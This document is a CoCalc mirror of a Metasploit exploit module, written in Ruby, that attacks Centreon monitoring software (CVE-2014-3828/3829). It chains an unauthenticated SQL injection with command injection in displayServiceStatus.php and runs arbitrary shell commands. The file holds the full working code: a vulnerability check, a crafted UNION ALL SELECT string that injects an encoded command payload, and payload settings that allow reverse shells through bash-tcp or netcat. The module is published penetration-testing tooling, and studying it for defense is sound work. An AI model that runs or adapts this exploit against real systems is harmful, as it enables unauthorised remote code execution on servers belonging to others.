Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/centreon_sqli_exec.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Centreon SQL and Command Injection',
16
'Description' => %q{
17
This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
18
Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
19
injection in the displayServiceStatus.php component, it is possible to execute arbitrary
20
commands as long as there is a valid session registered in the centreon.session table.
21
In order to have a valid session, all it takes is a successful login from anybody.
22
The exploit itself does not require any authentication.
23
24
This module has been tested successfully on Centreon Enterprise Server 2.2.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'MaZ', # Vulnerability Discovery and Analysis
29
'juan vazquez' # Metasploit Module
30
],
31
'References' => [
32
['CVE', '2014-3828'],
33
['CVE', '2014-3829'],
34
['US-CERT-VU', '298796'],
35
['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']
36
],
37
'Arch' => ARCH_CMD,
38
'Platform' => 'unix',
39
'Payload' => {
40
'Space' => 1500, # having into account 8192 as max URI length
41
'DisableNops' => true,
42
'Compat' =>
43
{
44
'PayloadType' => 'cmd cmd_bash',
45
'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
46
}
47
},
48
'Targets' => [
49
['Centreon Enterprise Server 2.2', {}]
50
],
51
'Privileged' => false,
52
'DisclosureDate' => '2014-10-15',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
65
]
66
)
67
end
68
69
def check
70
random_id = rand_text_numeric(5 + rand(8))
71
res = send_session_id(random_id)
72
73
unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
74
return Exploit::CheckCode::Safe
75
end
76
77
injection = "#{random_id}' or 'a'='a"
78
res = send_session_id(injection)
79
80
if res && res.code == 200
81
if res.body && res.body.to_s =~ /sh: graph: command not found/
82
return Exploit::CheckCode::Vulnerable
83
elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
84
return Exploit::CheckCode::Detected
85
end
86
end
87
88
Exploit::CheckCode::Safe
89
end
90
91
def exploit
92
if check == Exploit::CheckCode::Safe
93
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
94
elsif check == Exploit::CheckCode::Detected
95
fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
96
end
97
98
print_status("Exploiting...")
99
random_id = rand_text_numeric(5 + rand(8))
100
random_char = rand_text_alphanumeric(1)
101
session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
102
template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
103
res = send_template_id(session_injection, template_injection)
104
105
if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
106
vprint_status("Output: #{res.body}")
107
end
108
end
109
110
def send_session_id(session_id)
111
res = send_request_cgi(
112
'method' => 'GET',
113
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
114
'vars_get' =>
115
{
116
'session_id' => session_id
117
}
118
)
119
120
res
121
end
122
123
def send_template_id(session_id, template_id)
124
res = send_request_cgi({
125
'method' => 'GET',
126
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
127
'vars_get' =>
128
{
129
'session_id' => session_id,
130
'template_id' => template_id
131
}
132
}, 3)
133
134
res
135
end
136
137
def mysql_payload
138
p = ''
139
payload.encoded.each_byte { |c| p << "#{c}," }
140
p
141
end
142
end
143
144